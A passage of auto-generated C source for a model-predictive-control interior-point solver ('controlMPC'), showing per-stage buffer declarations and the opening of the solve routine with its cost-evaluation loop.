controlMPC_FLOAT* controlMPC_dllbaff14 = controlMPC_dl_aff + 56; controlMPC_FLOAT* controlMPC_dslbaff14 = controlMPC_ds_aff + 56; controlMPC_FLOAT* controlMPC_dllbcc14 = controlMPC_dl_cc + 56; controlMPC_FLOAT* controlMPC_dslbcc14 = controlMPC_ds_cc + 56; controlMPC_FLOAT* controlMPC_ccrhsl14 = controlMPC_ccrhs + 56; int controlMPC_ubIdx14[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub14 = controlMPC_l + 58; controlMPC_FLOAT* controlMPC_sub14 = controlMPC_s + 58; controlMPC_FLOAT* controlMPC_lubbysub14 = controlMPC_lbys + 58; controlMPC_FLOAT controlMPC_riub14[2]; controlMPC_FLOAT* controlMPC_dlubaff14 = controlMPC_dl_aff + 58; controlMPC_FLOAT* controlMPC_dsubaff14 = controlMPC_ds_aff + 58; controlMPC_FLOAT* controlMPC_dlubcc14 = controlMPC_dl_cc + 58; controlMPC_FLOAT* controlMPC_dsubcc14 = controlMPC_ds_cc + 58; controlMPC_FLOAT* controlMPC_ccrhsub14 = controlMPC_ccrhs + 58; controlMPC_FLOAT controlMPC_Phi14[2]; controlMPC_FLOAT controlMPC_W14[2]; controlMPC_FLOAT controlMPC_Ysd14[4]; controlMPC_FLOAT controlMPC_Lsd14[4]; controlMPC_FLOAT* controlMPC_z15 = controlMPC_z + 30; controlMPC_FLOAT* controlMPC_dzaff15 = controlMPC_dz_aff + 30; controlMPC_FLOAT* controlMPC_dzcc15 = controlMPC_dz_cc + 30; controlMPC_FLOAT* controlMPC_rd15 = controlMPC_rd + 30; controlMPC_FLOAT controlMPC_Lbyrd15[2]; controlMPC_FLOAT* controlMPC_grad_cost15 = controlMPC_grad_cost + 30; controlMPC_FLOAT* controlMPC_grad_eq15 = controlMPC_grad_eq + 30; controlMPC_FLOAT* controlMPC_grad_ineq15 = controlMPC_grad_ineq + 30; controlMPC_FLOAT controlMPC_ctv15[2]; controlMPC_FLOAT* controlMPC_v15 = controlMPC_v + 30; controlMPC_FLOAT controlMPC_re15[2]; controlMPC_FLOAT controlMPC_beta15[2]; controlMPC_FLOAT controlMPC_betacc15[2]; controlMPC_FLOAT* controlMPC_dvaff15 = controlMPC_dv_aff + 30; controlMPC_FLOAT* controlMPC_dvcc15 = controlMPC_dv_cc + 30; controlMPC_FLOAT controlMPC_V15[4]; controlMPC_FLOAT controlMPC_Yd15[3]; controlMPC_FLOAT controlMPC_Ld15[3]; controlMPC_FLOAT controlMPC_yy15[2]; controlMPC_FLOAT controlMPC_bmy15[2]; controlMPC_FLOAT controlMPC_c15[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx15[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb15 = controlMPC_l + 60; controlMPC_FLOAT* controlMPC_slb15 = controlMPC_s + 60; controlMPC_FLOAT* controlMPC_llbbyslb15 = controlMPC_lbys + 60; controlMPC_FLOAT controlMPC_rilb15[2]; controlMPC_FLOAT* controlMPC_dllbaff15 = controlMPC_dl_aff + 60; controlMPC_FLOAT* controlMPC_dslbaff15 = controlMPC_ds_aff + 60; controlMPC_FLOAT* controlMPC_dllbcc15 = controlMPC_dl_cc + 60; controlMPC_FLOAT* controlMPC_dslbcc15 = controlMPC_ds_cc + 60; controlMPC_FLOAT* controlMPC_ccrhsl15 = controlMPC_ccrhs + 60; int controlMPC_ubIdx15[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub15 = controlMPC_l + 62; controlMPC_FLOAT* controlMPC_sub15 = controlMPC_s + 62; controlMPC_FLOAT* controlMPC_lubbysub15 = controlMPC_lbys + 62; controlMPC_FLOAT controlMPC_riub15[2]; controlMPC_FLOAT* controlMPC_dlubaff15 = controlMPC_dl_aff + 62; controlMPC_FLOAT* controlMPC_dsubaff15 = controlMPC_ds_aff + 62; controlMPC_FLOAT* controlMPC_dlubcc15 = controlMPC_dl_cc + 62; controlMPC_FLOAT* controlMPC_dsubcc15 = controlMPC_ds_cc + 62; controlMPC_FLOAT* controlMPC_ccrhsub15 = controlMPC_ccrhs + 62; controlMPC_FLOAT controlMPC_Phi15[2]; controlMPC_FLOAT controlMPC_W15[2]; controlMPC_FLOAT controlMPC_Ysd15[4]; controlMPC_FLOAT controlMPC_Lsd15[4]; controlMPC_FLOAT* controlMPC_z16 = controlMPC_z + 32; controlMPC_FLOAT* controlMPC_dzaff16 = controlMPC_dz_aff + 32; controlMPC_FLOAT* controlMPC_dzcc16 = controlMPC_dz_cc + 32; controlMPC_FLOAT* controlMPC_rd16 = controlMPC_rd + 32; controlMPC_FLOAT controlMPC_Lbyrd16[2]; controlMPC_FLOAT* controlMPC_grad_cost16 = controlMPC_grad_cost + 32; controlMPC_FLOAT* controlMPC_grad_eq16 = controlMPC_grad_eq + 32; controlMPC_FLOAT* controlMPC_grad_ineq16 = controlMPC_grad_ineq + 32; controlMPC_FLOAT controlMPC_ctv16[2]; controlMPC_FLOAT* controlMPC_v16 = controlMPC_v + 32; controlMPC_FLOAT controlMPC_re16[2]; controlMPC_FLOAT controlMPC_beta16[2]; controlMPC_FLOAT controlMPC_betacc16[2]; controlMPC_FLOAT* controlMPC_dvaff16 = controlMPC_dv_aff + 32; controlMPC_FLOAT* controlMPC_dvcc16 = controlMPC_dv_cc + 32; controlMPC_FLOAT controlMPC_V16[4]; controlMPC_FLOAT controlMPC_Yd16[3]; controlMPC_FLOAT controlMPC_Ld16[3]; controlMPC_FLOAT controlMPC_yy16[2]; controlMPC_FLOAT controlMPC_bmy16[2]; controlMPC_FLOAT controlMPC_c16[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx16[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb16 = controlMPC_l + 64; controlMPC_FLOAT* controlMPC_slb16 = controlMPC_s + 64; controlMPC_FLOAT* controlMPC_llbbyslb16 = controlMPC_lbys + 64; controlMPC_FLOAT controlMPC_rilb16[2]; controlMPC_FLOAT* controlMPC_dllbaff16 = controlMPC_dl_aff + 64; controlMPC_FLOAT* controlMPC_dslbaff16 = controlMPC_ds_aff + 64; controlMPC_FLOAT* controlMPC_dllbcc16 = controlMPC_dl_cc + 64; controlMPC_FLOAT* controlMPC_dslbcc16 = controlMPC_ds_cc + 64; controlMPC_FLOAT* controlMPC_ccrhsl16 = controlMPC_ccrhs + 64; int controlMPC_ubIdx16[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub16 = controlMPC_l + 66; controlMPC_FLOAT* controlMPC_sub16 = controlMPC_s + 66; controlMPC_FLOAT* controlMPC_lubbysub16 = controlMPC_lbys + 66; controlMPC_FLOAT controlMPC_riub16[2]; controlMPC_FLOAT* controlMPC_dlubaff16 = controlMPC_dl_aff + 66; controlMPC_FLOAT* controlMPC_dsubaff16 = controlMPC_ds_aff + 66; controlMPC_FLOAT* controlMPC_dlubcc16 = controlMPC_dl_cc + 66; controlMPC_FLOAT* controlMPC_dsubcc16 = controlMPC_ds_cc + 66; controlMPC_FLOAT* controlMPC_ccrhsub16 = controlMPC_ccrhs + 66; controlMPC_FLOAT controlMPC_Phi16[2]; controlMPC_FLOAT controlMPC_W16[2]; controlMPC_FLOAT controlMPC_Ysd16[4]; controlMPC_FLOAT controlMPC_Lsd16[4]; controlMPC_FLOAT* controlMPC_z17 = controlMPC_z + 34; controlMPC_FLOAT* controlMPC_dzaff17 = controlMPC_dz_aff + 34; controlMPC_FLOAT* controlMPC_dzcc17 = controlMPC_dz_cc + 34; controlMPC_FLOAT* controlMPC_rd17 = controlMPC_rd + 34; controlMPC_FLOAT controlMPC_Lbyrd17[2]; controlMPC_FLOAT* controlMPC_grad_cost17 = controlMPC_grad_cost + 34; controlMPC_FLOAT* controlMPC_grad_eq17 = controlMPC_grad_eq + 34; controlMPC_FLOAT* controlMPC_grad_ineq17 = controlMPC_grad_ineq + 34; controlMPC_FLOAT controlMPC_ctv17[2]; controlMPC_FLOAT* controlMPC_v17 = controlMPC_v + 34; controlMPC_FLOAT controlMPC_re17[2]; controlMPC_FLOAT controlMPC_beta17[2]; controlMPC_FLOAT controlMPC_betacc17[2]; controlMPC_FLOAT* controlMPC_dvaff17 = controlMPC_dv_aff + 34; controlMPC_FLOAT* controlMPC_dvcc17 = controlMPC_dv_cc + 34; controlMPC_FLOAT controlMPC_V17[4]; controlMPC_FLOAT controlMPC_Yd17[3]; controlMPC_FLOAT controlMPC_Ld17[3]; controlMPC_FLOAT controlMPC_yy17[2]; controlMPC_FLOAT controlMPC_bmy17[2]; controlMPC_FLOAT controlMPC_c17[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx17[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb17 = controlMPC_l + 68; controlMPC_FLOAT* controlMPC_slb17 = controlMPC_s + 68; controlMPC_FLOAT* controlMPC_llbbyslb17 = controlMPC_lbys + 68; controlMPC_FLOAT controlMPC_rilb17[2]; controlMPC_FLOAT* controlMPC_dllbaff17 = controlMPC_dl_aff + 68; controlMPC_FLOAT* controlMPC_dslbaff17 = controlMPC_ds_aff + 68; controlMPC_FLOAT* controlMPC_dllbcc17 = controlMPC_dl_cc + 68; controlMPC_FLOAT* controlMPC_dslbcc17 = controlMPC_ds_cc + 68; controlMPC_FLOAT* controlMPC_ccrhsl17 = controlMPC_ccrhs + 68; int controlMPC_ubIdx17[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub17 = controlMPC_l + 70; controlMPC_FLOAT* controlMPC_sub17 = controlMPC_s + 70; controlMPC_FLOAT* controlMPC_lubbysub17 = controlMPC_lbys + 70; controlMPC_FLOAT controlMPC_riub17[2]; controlMPC_FLOAT* controlMPC_dlubaff17 = controlMPC_dl_aff + 70; controlMPC_FLOAT* controlMPC_dsubaff17 = controlMPC_ds_aff + 70; controlMPC_FLOAT* controlMPC_dlubcc17 = controlMPC_dl_cc + 70; controlMPC_FLOAT* controlMPC_dsubcc17 = controlMPC_ds_cc + 70; controlMPC_FLOAT* controlMPC_ccrhsub17 = controlMPC_ccrhs + 70; controlMPC_FLOAT controlMPC_Phi17[2]; controlMPC_FLOAT controlMPC_W17[2]; controlMPC_FLOAT controlMPC_Ysd17[4]; controlMPC_FLOAT controlMPC_Lsd17[4]; controlMPC_FLOAT* controlMPC_z18 = controlMPC_z + 36; controlMPC_FLOAT* controlMPC_dzaff18 = controlMPC_dz_aff + 36; controlMPC_FLOAT* controlMPC_dzcc18 = controlMPC_dz_cc + 36; controlMPC_FLOAT* controlMPC_rd18 = controlMPC_rd + 36; controlMPC_FLOAT controlMPC_Lbyrd18[2]; controlMPC_FLOAT* controlMPC_grad_cost18 = controlMPC_grad_cost + 36; controlMPC_FLOAT* controlMPC_grad_eq18 = controlMPC_grad_eq + 36; controlMPC_FLOAT* controlMPC_grad_ineq18 = controlMPC_grad_ineq + 36; controlMPC_FLOAT controlMPC_ctv18[2]; controlMPC_FLOAT* controlMPC_v18 = controlMPC_v + 36; controlMPC_FLOAT controlMPC_re18[2]; controlMPC_FLOAT controlMPC_beta18[2]; controlMPC_FLOAT controlMPC_betacc18[2]; controlMPC_FLOAT* controlMPC_dvaff18 = controlMPC_dv_aff + 36; controlMPC_FLOAT* controlMPC_dvcc18 = controlMPC_dv_cc + 36; controlMPC_FLOAT controlMPC_V18[4]; controlMPC_FLOAT controlMPC_Yd18[3]; controlMPC_FLOAT controlMPC_Ld18[3]; controlMPC_FLOAT controlMPC_yy18[2]; controlMPC_FLOAT controlMPC_bmy18[2]; controlMPC_FLOAT controlMPC_c18[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx18[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb18 = controlMPC_l + 72; controlMPC_FLOAT* controlMPC_slb18 = controlMPC_s + 72; controlMPC_FLOAT* controlMPC_llbbyslb18 = controlMPC_lbys + 72; controlMPC_FLOAT controlMPC_rilb18[2]; controlMPC_FLOAT* controlMPC_dllbaff18 = controlMPC_dl_aff + 72; controlMPC_FLOAT* controlMPC_dslbaff18 = controlMPC_ds_aff + 72; controlMPC_FLOAT* controlMPC_dllbcc18 = controlMPC_dl_cc + 72; controlMPC_FLOAT* controlMPC_dslbcc18 = controlMPC_ds_cc + 72; controlMPC_FLOAT* controlMPC_ccrhsl18 = controlMPC_ccrhs + 72; int controlMPC_ubIdx18[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub18 = controlMPC_l + 74; controlMPC_FLOAT* controlMPC_sub18 = controlMPC_s + 74; controlMPC_FLOAT* controlMPC_lubbysub18 = controlMPC_lbys + 74; controlMPC_FLOAT controlMPC_riub18[2]; controlMPC_FLOAT* controlMPC_dlubaff18 = controlMPC_dl_aff + 74; controlMPC_FLOAT* controlMPC_dsubaff18 = controlMPC_ds_aff + 74; controlMPC_FLOAT* controlMPC_dlubcc18 = controlMPC_dl_cc + 74; controlMPC_FLOAT* controlMPC_dsubcc18 = controlMPC_ds_cc + 74; controlMPC_FLOAT* controlMPC_ccrhsub18 = controlMPC_ccrhs + 74; controlMPC_FLOAT controlMPC_Phi18[2]; controlMPC_FLOAT controlMPC_W18[2]; controlMPC_FLOAT controlMPC_Ysd18[4]; controlMPC_FLOAT controlMPC_Lsd18[4]; controlMPC_FLOAT* controlMPC_z19 = controlMPC_z + 38; controlMPC_FLOAT* controlMPC_dzaff19 = controlMPC_dz_aff + 38; controlMPC_FLOAT* controlMPC_dzcc19 = controlMPC_dz_cc + 38; controlMPC_FLOAT* controlMPC_rd19 = controlMPC_rd + 38; controlMPC_FLOAT controlMPC_Lbyrd19[2]; controlMPC_FLOAT* controlMPC_grad_cost19 = controlMPC_grad_cost + 38; controlMPC_FLOAT* controlMPC_grad_eq19 = controlMPC_grad_eq + 38; controlMPC_FLOAT* controlMPC_grad_ineq19 = controlMPC_grad_ineq + 38; controlMPC_FLOAT controlMPC_ctv19[2]; controlMPC_FLOAT* controlMPC_v19 = controlMPC_v + 38; controlMPC_FLOAT controlMPC_re19[2]; controlMPC_FLOAT controlMPC_beta19[2]; controlMPC_FLOAT controlMPC_betacc19[2]; controlMPC_FLOAT* controlMPC_dvaff19 = controlMPC_dv_aff + 38; controlMPC_FLOAT* controlMPC_dvcc19 = controlMPC_dv_cc + 38; controlMPC_FLOAT controlMPC_V19[4]; controlMPC_FLOAT controlMPC_Yd19[3]; controlMPC_FLOAT controlMPC_Ld19[3]; controlMPC_FLOAT controlMPC_yy19[2]; controlMPC_FLOAT controlMPC_bmy19[2]; controlMPC_FLOAT controlMPC_c19[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx19[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb19 = controlMPC_l + 76; controlMPC_FLOAT* controlMPC_slb19 = controlMPC_s + 76; controlMPC_FLOAT* controlMPC_llbbyslb19 = controlMPC_lbys + 76; controlMPC_FLOAT controlMPC_rilb19[2]; controlMPC_FLOAT* controlMPC_dllbaff19 = controlMPC_dl_aff + 76; controlMPC_FLOAT* controlMPC_dslbaff19 = controlMPC_ds_aff + 76; controlMPC_FLOAT* controlMPC_dllbcc19 = controlMPC_dl_cc + 76; controlMPC_FLOAT* controlMPC_dslbcc19 = controlMPC_ds_cc + 76; controlMPC_FLOAT* controlMPC_ccrhsl19 = controlMPC_ccrhs + 76; int controlMPC_ubIdx19[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub19 = controlMPC_l + 78; controlMPC_FLOAT* controlMPC_sub19 = controlMPC_s + 78; controlMPC_FLOAT* controlMPC_lubbysub19 = controlMPC_lbys + 78; controlMPC_FLOAT controlMPC_riub19[2]; controlMPC_FLOAT* controlMPC_dlubaff19 = controlMPC_dl_aff + 78; controlMPC_FLOAT* controlMPC_dsubaff19 = controlMPC_ds_aff + 78; controlMPC_FLOAT* controlMPC_dlubcc19 = controlMPC_dl_cc + 78; controlMPC_FLOAT* controlMPC_dsubcc19 = controlMPC_ds_cc + 78; controlMPC_FLOAT* controlMPC_ccrhsub19 = controlMPC_ccrhs + 78; controlMPC_FLOAT controlMPC_Phi19[2]; controlMPC_FLOAT controlMPC_W19[2]; controlMPC_FLOAT controlMPC_Ysd19[4]; controlMPC_FLOAT controlMPC_Lsd19[4]; controlMPC_FLOAT* controlMPC_z20 = controlMPC_z + 40; controlMPC_FLOAT* controlMPC_dzaff20 = controlMPC_dz_aff + 40; controlMPC_FLOAT* controlMPC_dzcc20 = controlMPC_dz_cc + 40; controlMPC_FLOAT* controlMPC_rd20 = controlMPC_rd + 40; controlMPC_FLOAT controlMPC_Lbyrd20[2]; controlMPC_FLOAT* controlMPC_grad_cost20 = controlMPC_grad_cost + 40; controlMPC_FLOAT* controlMPC_grad_eq20 = controlMPC_grad_eq + 40; controlMPC_FLOAT* controlMPC_grad_ineq20 = controlMPC_grad_ineq + 40; controlMPC_FLOAT controlMPC_ctv20[2]; controlMPC_FLOAT* controlMPC_v20 = controlMPC_v + 40; controlMPC_FLOAT controlMPC_re20[2]; controlMPC_FLOAT controlMPC_beta20[2]; controlMPC_FLOAT controlMPC_betacc20[2]; controlMPC_FLOAT* controlMPC_dvaff20 = controlMPC_dv_aff + 40; controlMPC_FLOAT* controlMPC_dvcc20 = controlMPC_dv_cc + 40; controlMPC_FLOAT controlMPC_V20[4]; controlMPC_FLOAT controlMPC_Yd20[3]; controlMPC_FLOAT controlMPC_Ld20[3]; controlMPC_FLOAT controlMPC_yy20[2]; controlMPC_FLOAT controlMPC_bmy20[2]; controlMPC_FLOAT controlMPC_c20[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx20[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb20 = controlMPC_l + 80; controlMPC_FLOAT* controlMPC_slb20 = controlMPC_s + 80; controlMPC_FLOAT* controlMPC_llbbyslb20 = controlMPC_lbys + 80; controlMPC_FLOAT controlMPC_rilb20[2]; controlMPC_FLOAT* controlMPC_dllbaff20 = controlMPC_dl_aff + 80; controlMPC_FLOAT* controlMPC_dslbaff20 = controlMPC_ds_aff + 80; controlMPC_FLOAT* controlMPC_dllbcc20 = controlMPC_dl_cc + 80; controlMPC_FLOAT* controlMPC_dslbcc20 = controlMPC_ds_cc + 80; controlMPC_FLOAT* controlMPC_ccrhsl20 = controlMPC_ccrhs + 80; int controlMPC_ubIdx20[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub20 = controlMPC_l + 82; controlMPC_FLOAT* controlMPC_sub20 = controlMPC_s + 82; controlMPC_FLOAT* controlMPC_lubbysub20 = controlMPC_lbys + 82; controlMPC_FLOAT controlMPC_riub20[2]; controlMPC_FLOAT* controlMPC_dlubaff20 = controlMPC_dl_aff + 82; controlMPC_FLOAT* controlMPC_dsubaff20 = controlMPC_ds_aff + 82; controlMPC_FLOAT* controlMPC_dlubcc20 = controlMPC_dl_cc + 82; controlMPC_FLOAT* controlMPC_dsubcc20 = controlMPC_ds_cc + 82; controlMPC_FLOAT* controlMPC_ccrhsub20 = controlMPC_ccrhs + 82; controlMPC_FLOAT controlMPC_Phi20[2]; controlMPC_FLOAT controlMPC_W20[2]; controlMPC_FLOAT controlMPC_Ysd20[4]; controlMPC_FLOAT controlMPC_Lsd20[4]; controlMPC_FLOAT* controlMPC_z21 = controlMPC_z + 42; controlMPC_FLOAT* controlMPC_dzaff21 = controlMPC_dz_aff + 42; controlMPC_FLOAT* controlMPC_dzcc21 = controlMPC_dz_cc + 42; controlMPC_FLOAT* controlMPC_rd21 = controlMPC_rd + 42; controlMPC_FLOAT controlMPC_Lbyrd21[2]; controlMPC_FLOAT* controlMPC_grad_cost21 = controlMPC_grad_cost + 42; controlMPC_FLOAT* controlMPC_grad_eq21 = controlMPC_grad_eq + 42; controlMPC_FLOAT* controlMPC_grad_ineq21 = controlMPC_grad_ineq + 42; controlMPC_FLOAT controlMPC_ctv21[2]; controlMPC_FLOAT* controlMPC_v21 = controlMPC_v + 42; controlMPC_FLOAT controlMPC_re21[2]; controlMPC_FLOAT controlMPC_beta21[2]; controlMPC_FLOAT controlMPC_betacc21[2]; controlMPC_FLOAT* controlMPC_dvaff21 = controlMPC_dv_aff + 42; controlMPC_FLOAT* controlMPC_dvcc21 = controlMPC_dv_cc + 42; controlMPC_FLOAT controlMPC_V21[4]; controlMPC_FLOAT controlMPC_Yd21[3]; controlMPC_FLOAT controlMPC_Ld21[3]; controlMPC_FLOAT controlMPC_yy21[2]; controlMPC_FLOAT controlMPC_bmy21[2]; controlMPC_FLOAT controlMPC_c21[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx21[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb21 = controlMPC_l + 84; controlMPC_FLOAT* controlMPC_slb21 = controlMPC_s + 84; controlMPC_FLOAT* controlMPC_llbbyslb21 = controlMPC_lbys + 84; controlMPC_FLOAT controlMPC_rilb21[2]; controlMPC_FLOAT* controlMPC_dllbaff21 = controlMPC_dl_aff + 84; controlMPC_FLOAT* controlMPC_dslbaff21 = controlMPC_ds_aff + 84; controlMPC_FLOAT* controlMPC_dllbcc21 = controlMPC_dl_cc + 84; controlMPC_FLOAT* controlMPC_dslbcc21 = controlMPC_ds_cc + 84; controlMPC_FLOAT* controlMPC_ccrhsl21 = controlMPC_ccrhs + 84; int controlMPC_ubIdx21[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub21 = controlMPC_l + 86; controlMPC_FLOAT* controlMPC_sub21 = controlMPC_s + 86; controlMPC_FLOAT* controlMPC_lubbysub21 = controlMPC_lbys + 86; controlMPC_FLOAT controlMPC_riub21[2]; controlMPC_FLOAT* controlMPC_dlubaff21 = controlMPC_dl_aff + 86; controlMPC_FLOAT* controlMPC_dsubaff21 = controlMPC_ds_aff + 86; controlMPC_FLOAT* controlMPC_dlubcc21 = controlMPC_dl_cc + 86; controlMPC_FLOAT* controlMPC_dsubcc21 = controlMPC_ds_cc + 86; controlMPC_FLOAT* controlMPC_ccrhsub21 = controlMPC_ccrhs + 86; controlMPC_FLOAT controlMPC_Phi21[2]; controlMPC_FLOAT controlMPC_W21[2]; controlMPC_FLOAT controlMPC_Ysd21[4]; controlMPC_FLOAT controlMPC_Lsd21[4]; controlMPC_FLOAT* controlMPC_z22 = controlMPC_z + 44; controlMPC_FLOAT* controlMPC_dzaff22 = controlMPC_dz_aff + 44; controlMPC_FLOAT* controlMPC_dzcc22 = controlMPC_dz_cc + 44; controlMPC_FLOAT* controlMPC_rd22 = controlMPC_rd + 44; controlMPC_FLOAT controlMPC_Lbyrd22[2]; controlMPC_FLOAT* controlMPC_grad_cost22 = controlMPC_grad_cost + 44; controlMPC_FLOAT* controlMPC_grad_eq22 = controlMPC_grad_eq + 44; controlMPC_FLOAT* controlMPC_grad_ineq22 = controlMPC_grad_ineq + 44; controlMPC_FLOAT controlMPC_ctv22[2]; controlMPC_FLOAT* controlMPC_v22 = controlMPC_v + 44; controlMPC_FLOAT controlMPC_re22[2]; controlMPC_FLOAT controlMPC_beta22[2]; controlMPC_FLOAT controlMPC_betacc22[2]; controlMPC_FLOAT* controlMPC_dvaff22 = controlMPC_dv_aff + 44; controlMPC_FLOAT* controlMPC_dvcc22 = controlMPC_dv_cc + 44; controlMPC_FLOAT controlMPC_V22[4]; controlMPC_FLOAT controlMPC_Yd22[3]; controlMPC_FLOAT controlMPC_Ld22[3]; controlMPC_FLOAT controlMPC_yy22[2]; controlMPC_FLOAT controlMPC_bmy22[2]; controlMPC_FLOAT controlMPC_c22[2] = {0.0000000000000000E+000, 0.0000000000000000E+000}; int controlMPC_lbIdx22[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb22 = controlMPC_l + 88; controlMPC_FLOAT* controlMPC_slb22 = controlMPC_s + 88; controlMPC_FLOAT* controlMPC_llbbyslb22 = controlMPC_lbys + 88; controlMPC_FLOAT controlMPC_rilb22[2]; controlMPC_FLOAT* controlMPC_dllbaff22 = controlMPC_dl_aff + 88; controlMPC_FLOAT* controlMPC_dslbaff22 = controlMPC_ds_aff + 88; controlMPC_FLOAT* controlMPC_dllbcc22 = controlMPC_dl_cc + 88; controlMPC_FLOAT* controlMPC_dslbcc22 = controlMPC_ds_cc + 88; controlMPC_FLOAT* controlMPC_ccrhsl22 = controlMPC_ccrhs + 88; int controlMPC_ubIdx22[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub22 = controlMPC_l + 90; controlMPC_FLOAT* controlMPC_sub22 = controlMPC_s + 90; controlMPC_FLOAT* controlMPC_lubbysub22 = controlMPC_lbys + 90; controlMPC_FLOAT controlMPC_riub22[2]; controlMPC_FLOAT* controlMPC_dlubaff22 = controlMPC_dl_aff + 90; controlMPC_FLOAT* controlMPC_dsubaff22 = controlMPC_ds_aff + 90; controlMPC_FLOAT* controlMPC_dlubcc22 = controlMPC_dl_cc + 90; controlMPC_FLOAT* controlMPC_dsubcc22 = controlMPC_ds_cc + 90; controlMPC_FLOAT* controlMPC_ccrhsub22 = controlMPC_ccrhs + 90; controlMPC_FLOAT controlMPC_Phi22[2]; controlMPC_FLOAT controlMPC_W22[2]; controlMPC_FLOAT controlMPC_Ysd22[4]; controlMPC_FLOAT controlMPC_Lsd22[4]; controlMPC_FLOAT* controlMPC_z23 = controlMPC_z + 46; controlMPC_FLOAT* controlMPC_dzaff23 = controlMPC_dz_aff + 46; controlMPC_FLOAT* controlMPC_dzcc23 = controlMPC_dz_cc + 46; controlMPC_FLOAT* controlMPC_rd23 = controlMPC_rd + 46; controlMPC_FLOAT controlMPC_Lbyrd23[2]; controlMPC_FLOAT* controlMPC_grad_cost23 = controlMPC_grad_cost + 46; controlMPC_FLOAT* controlMPC_grad_eq23 = controlMPC_grad_eq + 46; controlMPC_FLOAT* controlMPC_grad_ineq23 = controlMPC_grad_ineq + 46; controlMPC_FLOAT controlMPC_ctv23[2]; int controlMPC_lbIdx23[2] = {0, 1}; controlMPC_FLOAT* controlMPC_llb23 = controlMPC_l + 92; controlMPC_FLOAT* controlMPC_slb23 = controlMPC_s + 92; controlMPC_FLOAT* controlMPC_llbbyslb23 = controlMPC_lbys + 92; controlMPC_FLOAT controlMPC_rilb23[2]; controlMPC_FLOAT* controlMPC_dllbaff23 = controlMPC_dl_aff + 92; controlMPC_FLOAT* controlMPC_dslbaff23 = controlMPC_ds_aff + 92; controlMPC_FLOAT* controlMPC_dllbcc23 = controlMPC_dl_cc + 92; controlMPC_FLOAT* controlMPC_dslbcc23 = controlMPC_ds_cc + 92; controlMPC_FLOAT* controlMPC_ccrhsl23 = controlMPC_ccrhs + 92; int controlMPC_ubIdx23[2] = {0, 1}; controlMPC_FLOAT* controlMPC_lub23 = controlMPC_l + 94; controlMPC_FLOAT* controlMPC_sub23 = controlMPC_s + 94; controlMPC_FLOAT* controlMPC_lubbysub23 = controlMPC_lbys + 94; controlMPC_FLOAT controlMPC_riub23[2]; controlMPC_FLOAT* controlMPC_dlubaff23 = controlMPC_dl_aff + 94; controlMPC_FLOAT* controlMPC_dsubaff23 = controlMPC_ds_aff + 94; controlMPC_FLOAT* controlMPC_dlubcc23 = controlMPC_dl_cc + 94; controlMPC_FLOAT* controlMPC_dsubcc23 = controlMPC_ds_cc + 94; controlMPC_FLOAT* controlMPC_ccrhsub23 = controlMPC_ccrhs + 94; controlMPC_FLOAT controlMPC_Phi23[2]; controlMPC_FLOAT controlMPC_W23[2]; controlMPC_FLOAT musigma; controlMPC_FLOAT sigma_3rdroot; controlMPC_FLOAT controlMPC_Diag1_0[2]; controlMPC_FLOAT controlMPC_Diag2_0[2]; controlMPC_FLOAT controlMPC_L_0[1]; /* SOLVER CODE --------------------------------------------------------- */ int controlMPC_solve(controlMPC_params* params, controlMPC_output* output, controlMPC_info* info) { int exitcode; #if controlMPC_SET_TIMING == 1 controlMPC_timer solvertimer; controlMPC_tic(&solvertimer); #endif /* FUNCTION CALLS INTO LA LIBRARY -------------------------------------- */ info->it = 0; controlMPC_LA_INITIALIZEVECTOR_48(controlMPC_z, 0); controlMPC_LA_INITIALIZEVECTOR_46(controlMPC_v, 1); controlMPC_LA_INITIALIZEVECTOR_96(controlMPC_l, 1); controlMPC_LA_INITIALIZEVECTOR_96(controlMPC_s, 1); info->mu = 0; controlMPC_LA_DOTACC_96(controlMPC_l, controlMPC_s, &info->mu); info->mu /= 96; while( 1 ){ info->pobj = 0; controlMPC_LA_DIAG_QUADFCN_2(params->H1, params->f1, controlMPC_z00, controlMPC_grad_cost00, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H2, params->f2, controlMPC_z01, controlMPC_grad_cost01, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H3, params->f3, controlMPC_z02, controlMPC_grad_cost02, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H4, params->f4, controlMPC_z03, controlMPC_grad_cost03, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H5, params->f5, controlMPC_z04, controlMPC_grad_cost04, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H6, params->f6, controlMPC_z05, controlMPC_grad_cost05, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H7, params->f7, controlMPC_z06, controlMPC_grad_cost06, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H8, params->f8, controlMPC_z07, controlMPC_grad_cost07, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H9, params->f9, controlMPC_z08, controlMPC_grad_cost08, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H10, params->f10, controlMPC_z09, controlMPC_grad_cost09, &info->pobj); controlMPC_LA_DIAG_QUADFCN_2(params->H11, params->f11, controlMPC_z10, controlMPC_grad_cost10, &info->pobj); 